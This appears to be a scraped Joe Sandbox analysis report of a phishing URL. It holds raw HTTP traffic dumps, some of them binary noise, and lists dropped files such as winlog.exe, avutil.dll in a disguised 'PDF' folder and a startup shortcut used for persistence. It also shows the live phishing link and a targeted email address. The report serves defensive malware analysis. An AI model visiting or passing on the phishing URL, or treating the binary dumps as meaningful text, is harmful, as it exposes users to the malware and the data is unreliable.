<)a+6ArujXaNbZI\|u\|>!4vu.@Sv?dR06jtRk`_tg-w*olugn_.Vc_ojk?V?,#w2}Ws?3MzD[~Rjhn&.SgUW{+
2024-04-16 07:20:03 UTC	1369	IN	Data Raw: 58 d6 99 89 f2 73 cc 46 5f e2 46 02 86 07 13 15 3f 88 70 3b 1c 0d f9 78 bd e8 f2 b0 92 0d 43 56 c5 15 0b d5 8d 41 bf 5a f3 3d e6 45 fa c6 10 4a d6 83 f8 f9 78 e0 3b 75 3b 3a cc ca 3c 8c 58 30 e8 5a 61 38 ec 95 7c 7d 23 3f 17 31 2f c4 f8 92 37 47 87 47 f3 c9 df a8 a4 3c ec d0 1d 21 9d 71 cb 9e b6 ca 4c 5c 0f 3b a3 cc e1 d6 54 81 59 0e 0b 26 22 74 bc 7a 98 95 a6 54 37 9a dd 53 37 a6 e2 3b 53 a3 16 f7 d4 dd ec f8 78 6e f8 b0 ea 2b b5 13 54 2d 12 ba 35 53 8f b8 9b 76 5c 77 96 7b ae 5f 4e b3 39 36 a5 e4 26 26 c7 ad 57 bd b1 ba eb 92 e8 47 b9 87 47 75 36 6a cd 89 ef 83 ac 21 a6 04 df 32 e3 20 64 5a f6 83 c6 04 8b 72 2c b4 03 5e a3 4a e4 3c 4f b2 b9 68 92 55 6b 2e f2 3c 70 48 3c b0 5c d3 f5 6d 31 63 8e 29 bb 64 46 2a 8b 59 0f 71 33 f2 f5 7d 4b 54 62 a2 5b 96 19 Data Ascii: XsF_F?p;xCVAZ=EJx;u;:<X0Za8\|}#?1/7GG<!qL\;TY&"tzT7S7;Sxn+T-5Sv\w{_N96&&WGGu6j!2 dZr,^J<OhUk.<pH<\m1c)dF*Yq3}KTb[
2024-04-16 07:20:03 UTC	1369	IN	Data Raw: e9 f4 6e d8 46 3b f0 c3 74 7e 06 a2 1e c5 7e 87 6e 89 eb ac 97 9c 15 a1 80 5a bb c2 96 41 0b d7 61 26 d6 52 39 d1 98 36 1f 0a 5c 2f 4a af 8d 74 2f 3d a2 cd 72 8b ff d0 32 64 cc 6a 99 56 93 1a a6 49 7b 31 7d cf 56 98 17 3b 75 a1 f2 7d 68 7b 18 ac 30 7b 1a 96 64 5c a9 43 56 e8 81 d3 54 0f 29 d7 88 cb 45 a9 cd 46 5a e9 1d ad 77 bd ce f5 7c 24 0d 95 70 9f c9 a0 48 9b ab 26 70 2d dd 16 b5 16 fc 08 35 52 fe 8a b8 5a ed 1c 99 c3 64 8c a4 00 67 78 10 d5 2d 77 0f 65 b4 7d 87 c5 b9 e5 1e 22 2e e1 3c ec 91 ee 60 b1 41 8e 27 09 44 d8 68 df 91 13 23 77 10 95 bb c2 cb 95 44 f6 b4 19 af b3 a9 55 fb 13 e5 8f 1f 2b 5b 04 49 f8 b1 bf 15 2f 0f 92 7e c0 5a c6 21 d5 88 87 b1 17 97 0d ca 75 b2 54 e1 64 85 69 2f 6a 8f 4b d6 cf d2 4f 56 0b e3 7d 27 8b 87 52 ae 66 d6 75 13 26 3f Data Ascii: nF;t~~nZAa&R96\/Jt/=r2djVI{1}V;u}h{0{d\CVT)EFZw\|$pH&p-5RZdgx-we}".<`A'Dh#wDU+[I/~Z!uTdi/jKOV}'Rfu&?
2024-04-16 07:20:03 UTC	1369	IN	Data Raw: b2 db f2 da 80 4e 7a 83 aa 74 35 b1 91 58 81 08 3a 43 f5 46 43 55 5b f7 c4 89 10 cc dd 8c 7a 35 24 2d b0 3a 01 6e 39 1e 11 ba 48 63 f7 42 b8 5b ea 58 2f 94 0e 96 f6 f7 ba 65 5c 2c 73 aa a3 20 5f 18 1d 69 fd d3 d2 21 93 c7 37 f2 7a b2 a2 3b 13 c4 0e 91 52 78 55 79 bc 64 1c 96 16 2f fd e0 c7 d0 6b ce d3 f7 14 a3 2d f9 aa d5 b1 d5 a6 6b 94 7b ab 0f fd 0b 83 8c 16 0e c6 96 d8 ee e3 b3 da 96 0a c8 f8 58 66 cf 9e de 9e 1e 33 b4 2d 72 b8 7a cc 2a b3 bc 50 6a 10 7a d9 6d f6 f6 e8 7b 81 d8 55 71 33 1e 1b c2 2a 06 79 dd dc 63 da a2 d1 f4 d1 b8 f1 d8 27 38 e3 a6 23 bf d6 de 72 d1 8f 48 32 a7 6d 7a 9d 9e 82 12 dd 7a 5d 04 95 9d de 17 65 e2 e3 b9 8c 7e 55 99 89 f7 9e 0c c5 61 19 8a 08 32 47 65 94 95 19 51 01 56 a6 f9 92 31 23 4f aa 33 47 c8 2b 1a b4 42 96 19 f1 67 d5 Data Ascii: Nzt5X:CFCU[z5$-:n9HcB[X/e\,s _i!7z;RxUyd/k-k{Xf3-rzPjzm{Uq3yc'8#rH2mzz]e~Ua2GeQV1#O3G+Bg
2024-04-16 07:20:03 UTC	1369	IN	Data Raw: 3e 7b 75 55 7b 41 8f 96 24 88 8c 8b 71 48 22 ab 73 1a 96 3d f9 16 e8 ee e9 a5 31 56 a4 b9 96 de 72 ed 60 41 99 43 3e a0 d9 6e b0 b0 61 cd 6e 30 4c 99 8c 55 d9 18 40 3d 8c 2a 43 63 bb af e2 ee 87 99 82 a5 24 a9 d3 f8 52 20 53 82 f4 9c d4 39 2c 09 42 c9 42 d1 b1 8f 85 82 4f 34 d3 a8 2d 6d 7f eb 12 ba 95 24 bc 61 8d 94 64 12 49 1a 29 2e 98 85 d1 b5 91 a1 b1 0e 1c a8 00 a2 08 66 25 10 7d 36 98 34 5b a9 4a 7a 36 fb 8d b1 fe e2 f7 a2 d5 12 1c b8 87 2d 58 f9 9a 8c f3 28 9c 9a 29 53 26 ab db 02 1b 2a 94 72 fd 56 a5 2e 92 ef 88 67 99 ba 83 2a d5 28 1e dd df 24 19 27 95 32 fa 46 9a 12 b1 f2 af 45 d6 a6 fa 62 c3 c9 90 91 d1 4c 85 52 16 b6 0d 22 2f c8 e6 9c 40 23 f1 ce 44 da cb f6 3d c3 99 fc 19 8a 6e ec 93 0a 4c 40 7f 3e 18 36 d0 95 49 f7 f5 0c 53 dd ae e7 52 ae 70 Data Ascii: >{uU{A$qH"s=1Vr`AC>nan0LU@=Cc$R S9,BBO4-m$adI).f%}64[Jz6-X()S&rV.g*($'2FEbLR"/@#D=nL@>6ISRp
2024-04-16 07:20:03 UTC	1369	IN	Data Raw: f9 05 c8 ff 22 f2 5b 4c 7e 8b 84 16 e1 cb 5c e5 8e d8 8e d5 3b b4 1d 7b 76 2c db 89 76 ee de 69 39 8f a6 77 a0 5a e4 44 2e 54 87 ea d1 5c e4 46 f3 d0 7c 74 01 ba 10 f5 23 0d 5d 84 2e 46 97 a0 4b d1 f7 d0 65 e8 72 74 05 ba 12 5d 85 ae 46 d7 a0 6b d1 75 e8 fb e8 7a 74 03 ba 11 fd bf ff 87 6f d1 ff 03 18 01 a8 5f 02 ea 93 60 34 f3 4a 70 30 3e 09 a8 3f 82 6a d2 b6 41 c2 5f b7 82 6d 60 3b 38 1f 5c 08 4e 16 8a 67 c2 29 46 33 d8 c2 3c 13 08 04 b7 15 9c 41 78 ef 36 92 df af 99 1f 82 e9 20 5a f0 4b 70 26 78 86 fb 25 38 52 a0 3e 09 1a c0 77 98 3f 01 ea 8d 60 0d 49 a3 16 78 fa 28 92 7f 82 60 ef 21 ef 92 a0 9b f1 74 ca db 8b 3c 3d c3 b8 7a d1 27 81 40 d2 38 98 37 81 cb c9 9b 6b 58 0a ea 93 c0 f0 47 30 9a a7 78 18 3c 46 ca b4 6d 08 9f 04 46 89 8c 70 84 e0 28 c4 75 9a Data Ascii: "[L~\;{v,vi9wZD.T\F\|t#].FKert]Fkuzto_`4Jp0>?jA_m`;8\Ng)F3<Ax6 ZKp&x%8R>w?`Ix(`!t<=z'@87kXG0x<FmFp(u
2024-04-16 07:20:03 UTC	1369	IN	Data Raw: f6 d6 48 20 12 38 23 6a 26 c2 4b ce a9 b0 a7 14 89 19 28 a5 d0 21 c8 07 96 85 a2 b1 f6 50 73 34 e6 69 f6 05 a2 06 d8 00 b4 47 03 61 d2 8c 01 bf ae 5e a7 ba b1 76 6a b2 9c 48 f5 49 15 46 24 2a 75 50 b7 5f cc 1a 9c 0f cb 84 94 6d 09 fb 5b 23 2d fe 36 5f 2c ea 26 14 9b 03 4b 03 11 0e 08 b6 b4 35 fb 69 81 42 b1 26 4f 6b bb 3f 14 6d 0d 7b 96 b3 be b2 99 32 f2 50 5b a6 0a 76 27 c8 be b6 48 24 d0 1c 6b 5f 1e f0 44 ec 36 bb a3 29 1a 0a 7a a2 31 56 d2 70 d8 45 30 5a 3d be c5 9e 46 da 58 b1 96 96 b0 a7 73 23 ad 78 67 a1 83 33 16 bb cd 6a b7 56 5b d6 f4 25 e8 21 14 9b d3 59 6b 77 75 9a 32 5c 2e 65 2b a2 89 6e 4f a4 d5 d7 d2 d4 44 32 8b 7a 2c 6b a8 cd 42 67 bc 33 cd ec 8f f4 59 4b 9e f4 03 6c 1f 77 93 69 96 fc ac 2b d1 11 b7 48 96 74 96 23 a6 24 da f4 ef 67 12 69 a6 Data Ascii: H 8#j&K(!Ps4iGa^vjHIF$*uP_m[#-6_,&K5iB&Ok?m{2P[v'H$k_D6)z1VpE0Z=FXs#xg3jV[%!Ykwu2\.e+nOD2z,kBg3YKlwi+Ht#$gi
2024-04-16 07:20:03 UTC	1369	IN	Data Raw: 3c 05 1f 8b a7 e2 69 f8 38 7c 3c 3e 01 9f 88 2d f8 24 3c 1d 9f 8c 4f c1 a7 e2 0a 7c 1a 9e 81 67 e2 59 78 36 ae c4 55 d8 8a e7 60 1b ae c6 76 5c 83 1d b8 16 3b b1 0b d7 e1 7a 3c 17 bb f1 3c 3c 1f 2f c0 0d 78 21 f6 60 2f f6 61 3f 0e e0 20 6e c4 8b 70 08 9f 8e 17 e3 30 6e c2 cd b8 05 b7 e2 33 70 04 47 71 1b 5e 82 97 e2 65 78 39 3e 13 af c0 2b f1 2a bc 1a b7 e3 ef e0 2e bc 0e 27 71 1a f7 e0 b3 70 2f ee c3 1b f1 26 bc 19 6f c1 67 e3 ad f8 1c bc 0d 9f 8b b7 e3 1c de 81 9f c0 bb f0 f5 fd 37 f4 df d9 ff 70 ff 23 fd 8f f6 3f d6 ff 78 ff 13 fd bb fa 9f ec df dd ff 54 ff d3 fd cf f4 3f db ff 5c ff 9e fe 51 da 21 da 68 ed 50 ed 30 ed 70 ed 08 6d 8c 36 56 1b a7 1d ad 8d d7 26 68 13 b5 49 da 14 ed 58 6d aa 36 4d 3b 4e 3b 5e 3b 41 9b ae 9d ac 55 6a 55 9a 55 9b a3 39 35 Data Ascii: <i8\|<>-$<O\|gYx6U`v\;z<<</x!`/a? np0n3pGq^ex9>+*.'qp/&og7p#?xT?\Q!hP0pm6V&hIXm6M;N;^;AUjUU95
2024-04-16 07:20:03 UTC	1369	IN	Data Raw: 4a ad e0 e6 18 83 ec c5 62 84 26 56 ef 7b 9c 95 f6 e2 62 ba 10 3a 89 c1 79 fd ac c3 fa 9b f3 6d ea 30 2a 47 68 0b 84 a6 24 3f c7 66 b5 da ac c3 72 f3 fa d9 8a 68 70 61 31 0f ca 1b 50 5b af d4 cf dc bf 4f 91 98 41 5f 53 eb c1 80 c2 bc 3e 79 fd cd fd 44 80 a0 ae c2 36 6c d0 4d 05 36 b1 a7 65 99 a0 30 38 2f bf 28 4f 55 dc 84 76 51 37 0b 53 19 f7 68 31 04 d6 79 03 6b c4 85 25 4f c8 58 c5 e5 57 07 68 45 2e 1f 8d c3 02 97 72 14 8f b7 da 2b 74 7f f4 60 9f d7 5f a4 9c b3 74 b7 98 86 aa f3 13 11 c8 2e 6f fe bc ef 84 cb 1f 54 71 d8 fd 05 f2 76 3e 2e a7 dd e9 a2 f0 c6 a1 f1 f2 4a 7b 8f d0 68 da e5 04 06 7b c4 00 50 ac 0a f7 07 67 11 3a bb 4f 98 9a 13 49 31 24 74 7a fd 66 e5 5a 4d 41 98 bc 56 1e f3 b9 c5 75 e6 50 0b 4d b2 e5 38 44 71 38 05 95 4f 72 48 9a 50 0b 35 92 Data Ascii: Jb&V{b:ym0*Gh$?frhpa1P[OA_S>yD6lM6e08/(OUvQ7Sh1yk%OXWhE.r+t`_t.oTqv>.J{h{Pg:OI1$tzfZMAVuPM8Dq8OrHP5

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:20:03 UTC	587	OUT	GET /favicon.ico HTTP/1.1 Host: nertaos.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nertaos.com/rand.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:20:04 UTC	662	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Apr 2024 07:20:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 03 Oct 2022 20:20:13 GMT Vary: Accept-Encoding Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Ws0n%2Ff0vZXRUtdEtNe41yXjJcGhrJYlBfjbl5Brthw%2BkXx%2BHV9uPoYmZiPTWItZJSkHYqAygkvBxoAf%2BXVLtOoRNZOUTMTtwh4rzGQ0Og9cHMphoTkcsSNgvXOF7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875269217f408134-ORD alt-svc: h3=":443"; ma=86400
2024-04-16 07:20:04 UTC	707	IN	Data Raw: 39 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 Data Ascii: 937<!DOCTYPE html><html lang="pt-BR"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="format-detection" content
2024-04-16 07:20:04 UTC	1369	IN	Data Raw: 22 37 36 78 37 36 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 2d 39 36 2e 70 6e 67 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 2d 31 32 38 2e 70 6e 67 22 20 73 69 7a 65 73 3d 22 31 32 38 78 31 32 38 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 2d 31 39 32 2e 70 Data Ascii: "76x76"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-96.png" sizes="96x96"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-128.png" sizes="128x128"> <link rel="shortcut icon" href="/cgi-sys/images/favicons/favicon-192.p
2024-04-16 07:20:04 UTC	290	IN	Data Raw: 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 2d 78 73 20 63 6f 6c 2d 73 6d 2d 31 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 2d 78 73 20 63 6f 6c 2d 73 6d 2d 36 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 2d 34 30 34 2e 73 76 67 22 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 2d 78 73 20 69 6d 67 2d 72 65 73 70 6f 6e 73 69 76 65 20 22 20 61 6c 74 3d 22 69 6c 6c 75 73 74 72 61 74 69 6f 6e 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 64 69 76 Data Ascii: </div> </div> <div class="hidden-xs col-sm-1"></div> <div class="hidden-xs col-sm-6"> <img src="/cgi-sys/images/illustration-404.svg" class="hidden-xs img-responsive " alt="illustration"> </div> </div
2024-04-16 07:20:04 UTC	7	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a Data Ascii: 2
2024-04-16 07:20:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:20:04 UTC	532	OUT	OPTIONS /report/v4?s=2Ws0n%2Ff0vZXRUtdEtNe41yXjJcGhrJYlBfjbl5Brthw%2BkXx%2BHV9uPoYmZiPTWItZJSkHYqAygkvBxoAf%2BXVLtOoRNZOUTMTtwh4rzGQ0Og9cHMphoTkcsSNgvXOF7g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nertaos.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:20:04 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 16 Apr 2024 07:20:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:20:04 UTC	478	OUT	POST /report/v4?s=2Ws0n%2Ff0vZXRUtdEtNe41yXjJcGhrJYlBfjbl5Brthw%2BkXx%2BHV9uPoYmZiPTWItZJSkHYqAygkvBxoAf%2BXVLtOoRNZOUTMTtwh4rzGQ0Og9cHMphoTkcsSNgvXOF7g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 420 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:20:04 UTC	420	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 35 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 65 72 74 61 6f 73 2e 63 6f 6d 2f 72 61 6e 64 2e 68 74 6d 6c 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 32 31 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 Data Ascii: [{"age":0,"body":{"elapsed_time":258,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://nertaos.com/rand.html","sampling_fraction":1.0,"server_ip":"172.67.221.1","status_code":404,"type":"http.error"},"type":"network-error","ur
2024-04-16 07:20:05 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 16 Apr 2024 07:20:05 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:20:19 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2UH8AlrE5awpckG&MD=f1W39G+T HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-16 07:20:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 759e3901-6c03-4474-8a6f-5f4d0a8a32ea MS-RequestId: 7e120957-ccc0-4d3a-bf16-da904209c122 MS-CV: p1mFt2xrVk2SWj89.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 16 Apr 2024 07:20:19 GMT Connection: close Content-Length: 25457
2024-04-16 07:20:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-16 07:20:20 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	09:19:26
Start date:	16/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\3e5a49.rbs

C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\avutil.dll

C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlog.lnk

C:\ProgramData\Vso\font.cache

C:\Users\user\AppData\Local\Temp\URL619A.url

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Downloads\6773bea2-e30f-4e79-8aab-90497f1ef0fb.tmp

C:\Users\user\Downloads\DOC70219873816PDF_02.zip (copy)

Windows Analysis Report
https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com

Target ID:	10
Start time:	09:20:06
Start date:	16/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff63ecf0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	09:20:14
Start date:	16/04/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
